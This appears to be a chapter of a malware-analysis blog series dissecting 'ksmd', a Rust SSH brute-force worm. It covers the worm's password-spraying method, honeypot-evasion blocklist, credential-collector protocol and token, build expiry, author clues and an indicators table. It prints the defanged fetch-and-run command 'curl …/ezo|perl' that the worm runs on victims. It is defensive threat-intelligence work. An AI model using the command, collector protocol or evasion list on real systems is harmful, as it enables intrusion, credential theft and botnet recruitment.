ksmd-ezo · Chapter 39
Expiry date
The package SEC hands out through the channel carries the program that was knocking on my door. It tries passwords, discards anything that smells of a honeypot, writes every access down on a separate machine before infecting, and carries its own expiry date inside. And the clock it was compiled with isn't the clock of the person who launches it.
The package SEC told the bots to download, is.tgz, weighs sixteen megabytes. Inside, an is directory with four files: two dictionaries of usernames and passwords, a target list of almost three million lines and a six-and-a-half-megabyte executable.
The executable is called ksmd. On Linux, ksmd is a real kernel thread, the one that merges duplicate memory pages, and in any server's process list it doesn't stand out. The help text embedded in the binary is less discreet than its name:
Fast ASN / country SSH scanner 0.1.0It's the program that was knocking on my door: the one that asks about the system and the cores and leaves the curl …/ezo|perl behind. I wanted to know three things: how it chooses who to get into, what it does with what it gets, and how long it lasts. The third has an exact answer.
ksmd-ezo the worm that recruits the botnet
- sha256
- 82481bc10774198c8da37e0d45cde2b34e1059b109d3a78e398066c94c9aaafc (and a 2nd build from the same day, 86596837702874930e1b45d91982b730ba7b075041fe98d79da3293225fd0ca7)
- Type
- Rust, rustc 1.99.1 from 13 October 2026, linked with zig; static 64-bit ELF, stripped, compiled as root
- Internal name
- "Fast ASN / country SSH scanner" 0.1.0 · client SSH-2.0-russh_0.45.0
- Where from
- from the is.tgz package the channel told the bots to download
- Antivirus
- our two builds weren't on VirusTotal; six others were, uploaded by others between 6 and 13 November, with zero or one detection
01One password at a time
It doesn't exploit any flaw. It tries usernames and passwords against the SSH of a list of machines, and it does it the opposite way to what you'd imagine: it doesn't go machine by machine trying passwords, it goes password by password, each one against the whole list.
[*] ===== Credential 3/1198: user:password ===== (2795334 targets)That's why my probe saw one session per credential per bot, each time with a different pair. And that's why it's slow. The list in the package, iosi, is 2.8 million lines: almost 1.9 million distinct addresses, 95 % of them in China, and stuck on the end a tail of almost 400,000 with their port, mostly European hosting. That tail is in the output format of ksmd itself in another of its modes: it's what an earlier pass of the worm over other networks left behind, pasted by someone under the Chinese list. With two thousand attempts at once, a bot takes about seventy minutes to run a single password through the whole list. The package's dictionary has 1,198. Going through all of it would take each bot almost two months.
So no bot gets very far into the dictionary. What gets tried is what comes first. And this is where the -s in SEC's command comes in: in the cage I saw that it shuffles not only the targets but also the order of the passwords. Every relaunch, another random handful of passwords moves to the front. That explains one of the habits from the previous chapter: the dry restarts every twenty to sixty minutes, killing and relaunching without changing anything. It's the way to rotate passwords without touching the file.
The funny thing is that the program already has a mode that does this on its own, --creds-roll: it draws small batches of credentials from a common pool, round after round. SEC doesn't use it. They do the same thing by hand.
There's no division of labour either. Every bot gets the same order and attacks the whole list, each on its own, in its own shuffled order. No task server, no shared state: the same machine gets attacked by dozens of bots at once, each with different passwords. Brute force and numbers.
02Who it gets into, and who it doesn't
Guessing the password isn't enough. As soon as it's in, it runs the reconnaissance from the previous chapter, system and cores, lowercases the answer and puts it through a blocklist. If something doesn't fit, it closes the session and leaves without dropping anything: no report to the operator, no bot.
It wants a real Unix server. The answer has to name a real system (Linux, one of the BSDs, a well-known distribution), and it can't smell of network gear or of a trap. This is a sample of what makes it turn around:
openwrt dd-wrt mikrotik routeros pfsense ubiquiti # routers and firewalls
cowrie kippo honeypot simulated this is a honeypot # traps that give themselves away
3.2.0-4-amd64 3.2.68-1+deb7u1 # the kernels they ship with
command execution is not supported please login # shells that aren't shells
corridor hums faintly the eighth voyage doesn't answer to namesThe last line is the strangest. They're not errors or program names: they're phrases with a literary air, like the ones a language model comes out with when it's playing a fake shell and gets carried away. I haven't found where they come from. They aren't in any published honeypot I've been able to check, and most likely they're home-made traps the author ran into and noted down in the list. It hunts honeypots by their quirks.
There's something else in that list that isn't the author's own. Of the sixty-five or so strings in its blocklist, six, the oddest ones (a specific Cowrie kernel, a couple of network-gear error messages), are also in the filters of several Romanian SSH scanning kits that have been leaked on GitHub for years. Those kits did this same step by hand: get in, run uname -a and strip out with grep -v whatever was no use. ksmd does it inside the binary. The other 91 % is its own: a new tool that has inherited a habit.
The practical consequence is clear: an out-of-the-box trap never receives the ezo. My probe received it thousands of times, so it gets through the filter. How, I'm not saying.
03The snitch
I watched it work from start to finish in a cage: a virtual machine with no network card, with a fake internet inside. I put in front of it a real SSH server with a single test account, a harmless ezo that only leaves a marker, and a machine pretending to be its collector. I launched it with the same command SEC uses, -c 2000 -t 7 -s, and one good password out of four.
It got it on the third. This is what happened next, counted in milliseconds from the moment it got in:
0 ms the victim runs the reconnaissance: uname -a and nproc
12 ms ksmd opens a raw TCP connection to its collector and sends it a line:
432eec35f52a39692207bc2c02e61b88b47f89146ede3296ca4a9f2cb6327760
13 ms the collector answers AUTHOK, and ksmd dumps the record:
HIT|10.66.0.2:22|victima|<test password>|Linux bait-vm … x86_64 GNU/Linux CPU:4
52 ms the victim runs: sh -c 'curl -sS hxxp://49.233.135[.]115/ezo|perl >/dev/null 2>&1 &'
~1 s the ezo runs on the victim, detached from the sessionThe order matters. First it writes down the key, then it goes in: the address, the username, the password, the system and the cores reach the collector about forty milliseconds before the infection starts. The operator has the access even if the bot never gets installed. And the cores aren't there out of curiosity: they say how much can be mined on that machine.
I repeated it with the collector switched off. The infection went ahead just the same: the marker showed up again. The record, on the other hand, was lost after fifteen retries. And when it finished, the program printed a reassuring line:
[+] local hits saved to: hits.txtIt isn't true. It doesn't write that file, or any other, not even when given a different path: I searched the whole system, and in the code that stretch only prepares the path and prints it. Not a single stolen credential is left on a bot's disk. Whether out of caution or because the author removed the saving and left the message in, the only place the loot exists is the collector.
The collector is a separate machine, distinct from the IRC server: 114.29.238.96, a Kamatera VPS in Hong Kong, the same provider as the command server. It speaks raw TCP on a port that looks like something else: 80 in the day's first build, 22 in the second, where its traffic blends in with SSH. That same morning, a public scanner had seen an ordinary SSH server on that port 22. Either the operator moved it before deploying, or the second build is talking to an SSH server that never answers AUTHOK and all its records are lost. Finding out would mean knocking on its door, and I haven't.
That port change is my suspicion about the ksmd.1 slip in the previous chapter. If an hour after deploying the new build records were still arriving on the old port, the fleet was running the old binary. If so, SEC watches the collector live. It's a hypothesis.
And not every build points there. One of those that others uploaded to VirusTotal sends its records to 101.32.116.104:8443, which is one of the fleet's bots. The victims act as storage for the files and, at least once, as the inventory too.
04Expiry date
When it starts, ksmd checks the system's UTC date and compares it with one it carries built in. If that date has passed, it refuses to work:
[EXPIRED] binary expired on 2026-11-17 (build time: 2026-11-14 ··:··:··)The two builds from 14 November work until the 17th at 23:59:59 UTC. Careful with what that means: the check happens at startup. From the 18th it can't be launched again, but a process that was already running doesn't die because of it. And it depends on the victim's clock: one that's running behind brings it back to life.
I compared the day's two builds byte by byte. They're identical except for thirty-six bytes: the build ID, the collector's port, the ezo server and the build time. The code is the same down to the last byte. The author changes four values and compiles again.
The build time is the good part. It's right there in the expiry message, I've blanked it in the box because it would give away the time of the attack, and it isn't decoration: it's a real clock. Between the two builds, 1 h 39 min 48 s go by. Between the two deployment orders I heard in the channel, 1 h 38 min 08 s. A hundred seconds apart.
But that clock doesn't keep European time. The binary only knows about UTC, so that time went in at compile time, with the time zone of the machine that compiled it. And it can't be UTC: the first build would come after the date of the file inside the package. It only fits a time zone of UTC+11 or more, like south-eastern Australia in November, among others. With UTC+11, what's more, the same thing happens both times: it gets compiled, and a few minutes later SEC deploys it.
And SEC gives orders, from everything I've seen, between mid-morning and some time after ten at night, Central European time, Sundays included. Two clocks pointing to different places. It could be one person in Europe compiling on a machine set to another time zone, or two people: the one who writes the worm and the one who runs it. In favour of the second there's a small detail, the credential-drawing mode the author wrote and the operator doesn't use. It's weak. I'll leave it there.
The expiry isn't new either. VirusTotal has four programs called ksmd from September, compiled in Go between the 20th and the 23rd. Each one carries its build time in the same format, and each one expires exactly three days after it was compiled, just like the two Rust ones from November. One from that period carried the URL of the Perl bot of the time, /zed. The name, the role and a design rule as unusual as that one point to the same tool rewritten from Go into Rust. To say so outright I'd need to compare the September code.
What I can't say is that every build lives three days. Two builds I saw in the field, whose binaries I don't have, kept reaching the probe for quite a lot longer. I don't know whether they carry another date, lack the check, or whether those bots have their clocks wrong.
05What it carries and is never seen using
SEC uses a single mode: target list, dictionary, and off it goes. The program can do quite a lot more. It can pull targets by country or by provider from the public address registries, run masscan, filter by SSH banner before trying anything, or re-check known accesses one by one from ip:port:user:password lines, exactly the format its own inventory would have.
And it has a mode I haven't seen used, -rb, that starts from a machine and looks up which websites it hosts. With those domains it does two things. It builds tailored passwords from templates: the domain capitalised, the year, the month. And it checks whether any site is a Joomla with one of two extensions: JCE below version 2.9.99.5 or SP Page Builder below 6.6.2. Those aren't just any two numbers. They're the exact patch versions for CVE-2026-48907 and CVE-2026-48908, two critical flaws from this year that allow code execution on the server and are in CISA's catalogue of exploited vulnerabilities.
ksmd doesn't exploit them: it detects and prints a line, [JOOMLA] domain -> version, to the screen, and with the >/dev/null SEC launches it with, that line would go nowhere. It's a capability meant for someone watching the console, not campaign activity. But it tells you what's on the mind of whoever wrote it: a second door, through the web, into the same machines whose SSH it's battering.
06Who wrote it
The binary is stripped, but its author left things behind inside it. Absolute paths from their machine, with a username, coupdegrace: a /home/coupdegrace/task_manager/cookies.json with the cookies they use to get past a domain search service's Cloudflare check, and a Documents/WORK/project/subfinder where they keep another tool. An API key for c99.nl, a paid subdomain search service, belonging to their account (EI7R…1AH; I've trimmed it because it works). And a whole program in a single source file, compiled as root with a month-old compiler: active development.
None of that is a person. Coupdegrace, "coup de grâce", is a common word and searching for it leads nowhere solid. The key and the VPSs could put a name to someone, but that goes through c99.nl, through Kamatera, or through whoever has the authority to ask them, not through me.
What there is are clues pointing to the Romanian scene. The most direct is the Romanian messages in the Perl bot, written by its author, without diacritics, the way someone types fast in that language. Add to that the European hours of the orders, a dictionary called ceai ("tea"), the six strings inherited from Romanian kits and the scene itself: ShellBot, IRC and mining on C3Pool. Against it, this worm's build time. None of those clues is a nationality, and the weightiest one is about the Perl bot, not this binary.
07Indicators
The IRC command channel's indicators are in chapter 38 and the miner's in 40. These are the worm's.
| Type | Value |
|---|---|
| Collector | 114.29.238.96 (Kamatera, HK), raw TCP, port 80 in the 1st build and 22 in the 2nd · 101.32.116.104:8443 in another build (a bot from the fleet) · session: the token and a newline, reply AUTHOK, then HIT|host:port|user|password|system CPU:n lines |
| Collector token | 432eec35f52a39692207bc2c02e61b88b47f89146ede3296ca4a9f2cb6327760 |
| SSH client | SSH-2.0-russh_0.45.0 · ksmd/0.1 · hundreds or thousands of outbound authentications at once |
| On the victim | reconnaissance with uname -a and nproc ending in printf "%s CPU:%s" · then sh -c 'curl -sS hxxp://120.29.153[.]123/ezo|perl >/dev/null 2>&1 &' or with hxxp://49.233.135[.]115/ezo |
| Ammunition | pass.txt (user:password) and ips.txt (IP or IP:port) · dictionaries cud, cesa, cess, pel, exe, jip, las, uas, PUI · lists iosi, allx, jias |
| Command line | -c concurrency, -t seconds per attempt (5 by default), -s shuffle · --exec, -uw, -rb, -b, --creds-roll, --masscan-ports 22,2222 |
| Strings | Fast ASN / country SSH scanner · [EXPIRED] binary expired on · bad EXPIRE_DATE · local hits saved to: · [JOOMLA] · honeypot_skip= |
| Expiry | won't start after 2026-11-17 (UTC) in the two builds from 14 Nov; the September Go builds, three days after being compiled |
| Author's fingerprints | username coupdegrace · /home/coupdegrace/task_manager/cookies.json · Documents/WORK/project/subfinder · c99.nl key EI7R…1AH (trimmed) |
| SHA-256, ours | 1st build 82481bc10774198c8da37e0d45cde2b34e1059b109d3a78e398066c94c9aaafc · 2nd build 86596837702874930e1b45d91982b730ba7b075041fe98d79da3293225fd0ca7 · is.tgz 453c8acb84d2dd7c5dd39b0ecb685addf3c3ff61e8278143e96bea62e3769551 |
| SHA-256, on VirusTotal (Rust) | d921d2226df80a0ceb96a4b2a3586660756b7497d67ac07591328f06f03cf2a2 · 27b8a9b138c3961fc1026d9ca7ec4c9385d76549a6308066884457d21b8739c0 · 43f46e5c008458e3bdb3a0bf098c7b2b4aa22ee8c0e6adba812f47f4770255ce · be79f0175f0d62179e0e5e267def36bf9536fb5244001d92da9893f1cefcaf82 · 5d5ae1bf207a9f2f41544ebb91a58fea3a3f90862653e4e8e671b3f8ef48de16 · 1f7f346675c1462a975225693b876dcbb1970f604ed0ca112a9a530012bb12d0 |
| SHA-256, on VirusTotal (Go, September) | 1564811f1dc16f320cc7ed13b0d878d74abc686aff7f40f8d7b53db5b590303e · 0e6a772aead784563066cd10ef4ddfb12059421adf2d0e857f18206aa89cb7c3 · 11a3a7c5d3c8d57d27a2db9d4c46a3226d6e4e9de491256dfa521002af764bf5 · dfe31025efe2eb967a92567748f4046586eec359b85e25882d18e9e8031e72d0 |
| SHA-256, ammunition | cud fa55cc05bd659aa674c5ef43caa6ff1d21be57b63b7329eea2be019632007b81 · cesa 4ff90abb2d030c1ac58fca9a8822b9ce1beda49ad668a96bed55d0e0d2ea291b · cess 6d3364c49e4a257407992a01a813d5b9de3b9e92b34c248d85a233d9e34dab1b · pel 542a92cbdc12a66b967425859ceb9389b0912216e3088ffb6b841a9b9417f476 · iosi 68ecda2f9ce3d6b1cfcd6d02dae592c2e807e42a35c7ba9576b1615485df00b8 · allx.gz 2ddf668bb18143b442a78c1f3d9560c98a97bed185d4c5f9d6d95f5ecc71c734 · jias ccdef5054e96f1eb9cdad089317b8e9cf1042fa7da1aa642de15489b5e20f09c |
This worm's hashes expire on their own: every few days there's a new build. What doesn't expire is how it behaves: a client announcing itself as russh_0.45.0 opening hundreds of SSH sessions at once, and a raw connection that starts by sending sixty-four hexadecimal characters and waits for an AUTHOK.
To be continued - three minutes after the worm, the channel ordered something else downloaded. That piece is the one that gets paid, and the day it was rolled out it took out more than just the competition. 🍯
Comments